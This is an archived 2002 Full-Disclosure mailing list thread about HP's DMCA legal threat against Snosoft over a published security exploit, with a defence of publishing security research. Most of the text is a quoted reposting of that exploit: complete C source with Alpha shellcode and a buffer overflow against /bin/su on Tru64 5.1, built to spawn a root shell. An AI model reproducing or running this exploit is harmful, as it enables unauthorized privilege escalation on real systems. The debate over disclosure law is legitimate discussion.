Message-ID: <200207310939.51949.sert@snosoft.com>
From: sert at snosoft.com (John Scimone)
Subject: OT: Snosoft vs HP

What is even more interesting than that is the fact that a billion dollar 
company like HP/Compaq would be stupid enough as to try to muscle a small 
company with an argument that they know absolutely nothing about.  Would 
anyone with a legal background like to comment on the legal letter they sent 
us which is now up on slashdot, because it seems kind of ridiculous to me and 
obvious that the DMCA was never in a million years meant to be used in this 
manner:

http://slashdot.org/comments.pl?sid=37074&cid=3987114

If they did somehow manage to win this kind of a suit it would put everyone 
who publishes security research at the risk of being on the wrong end of 
million dollar suits, being held liable for all damage done by those with 
malicious intent, even though most of us have no such intent.

-sert


On Wednesday 31 July 2002 12:26 pm, ATD wrote:
> What is even more interesting is that this issue has been known for
> quite a while, yet no one did anything about it.
>
>
> Adriel
>
> On Wed, 2002-07-31 at 12:22, Len Rose wrote:
> > It's interesting to note that the exploit was removed from
> > SecurityFocus' site. I wonder if HP is going to demand people
> > remove it from all archives everywhere?
> >
> > Obligatory exploit:
> >
> > /*
> >  /bin/su tru64 5.1
> >  works with non-exec stack enabled
> >
> >  stripey is the man
> >
> >  developed at http://www.snosoft.com in the cerebrum labs
> >
> >  phased
> >  phased at mail.ru
> > */
> >
> > #include <stdio.h>
> > #include <stdlib.h>
> > #include <string.h>
> > #include <unistd.h>
> >
> > char shellcode[]=
> >         "\x30\x15\xd9\x43"      /* subq $30,200,$16             */
> >         "\x11\x74\xf0\x47"      /* bis $31,0x83,$17             */
> >         "\x12\x14\x02\x42"      /* addq $16,16,$18              */
> >         "\xfc\xff\x32\xb2"      /* stl $17,-4($18)              */
> >         "\x12\x94\x09\x42"      /* addq $16,76,$18              */
> >         "\xfc\xff\x32\xb2"      /* stl $17,-4($18)              */
> >         "\xff\x47\x3f\x26"      /* ldah $17,0x47ff($31)         */
> >         "\x1f\x04\x31\x22"      /* lda $17,0x041f($17)          */
> >         "\xfc\xff\x30\xb2"      /* stl $17,-4($16)              */
> >         "\xf7\xff\x1f\xd2"      /* bsr $16,-32                  */
> >         "\x10\x04\xff\x47"      /* clr $16                      */
> >         "\x11\x14\xe3\x43"      /* addq $31,24,$17              */
> >         "\x20\x35\x20\x42"      /* subq $17,1,$0                */
> >         "\xff\xff\xff\xff"      /* callsys ( disguised )        */
> >         "\x30\x15\xd9\x43"      /* subq $30,200,$16             */
> >         "\x31\x15\xd8\x43"      /* subq $30,192,$17             */
> >         "\x12\x04\xff\x47"      /* clr $18                      */
> >         "\x40\xff\x1e\xb6"      /* stq $16,-192($30)            */
> >         "\x48\xff\xfe\xb7"      /* stq $31,-184($30)            */
> >         "\x98\xff\x7f\x26"      /* ldah $19,0xff98($31)         */
> >         "\xd0\x8c\x73\x22"      /* lda $19,0x8cd0($19)          */
> >         "\x13\x05\xf3\x47"      /* ornot $31,$19,$19            */
> >         "\x3c\xff\x7e\xb2"      /* stl $19,-196($30)            */
> >         "\x69\x6e\x7f\x26"      /* ldah $19,0x6e69($31)         */
> >         "\x2f\x62\x73\x22"      /* lda $19,0x622f($19)          */
> >         "\x38\xff\x7e\xb2"      /* stl $19,-200($30)            */
> >         "\x13\x94\xe7\x43"      /* addq $31,60,$19              */
> >         "\x20\x35\x60\x42"      /* subq $19,1,$0                */
> >         "\xff\xff\xff\xff";     /* callsys ( disguised )        */
> >
> > /* shellcode by Taeho Oh */
> >
> > main(int argc, char *argv[]) {
> > int i, j;
> > char buffer[8239];
> > char payload[15200];
> > char nop[] = "\x1f\x04\xff\x47";
> >
> > bzero(&buffer, 8239);
> > bzero(&payload, 15200);
> >
> > for (i=0;i<8233;i++)
> >         buffer[i] = 0x41;
> >
> > /* 0x140010401 */
> >
> >         buffer[i++] = 0x01;
> >         buffer[i++] = 0x04;
> >         buffer[i++] = 0x01;
> >         buffer[i++] = 0x40;
> >         buffer[i++] = 0x01;
> >
> > for (i=0;i<15000;) {
> >         for(j=0;j<4;j++)  {
> >                 payload[i++] = nop[j];
> >         }
> > }
> >
> > for (i=i,j=0;j<sizeof(shellcode);i++,j++)
> >         payload[i] = shellcode[j];
> >
> >         printf("/bin/su by phased\n");
> >         printf("payload %db\n", strlen(payload));
> >         printf("buffer %db\n", strlen(buffer));
> >
> >         execl("/usr/bin/su", "su", buffer, payload, 0);
> >
> > }
> >
> >
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Full-Disclosure@...ts.netsys.com
> > http://lists.netsys.com/mailman/listinfo/full-disclosure

Powered by blists - more mailing lists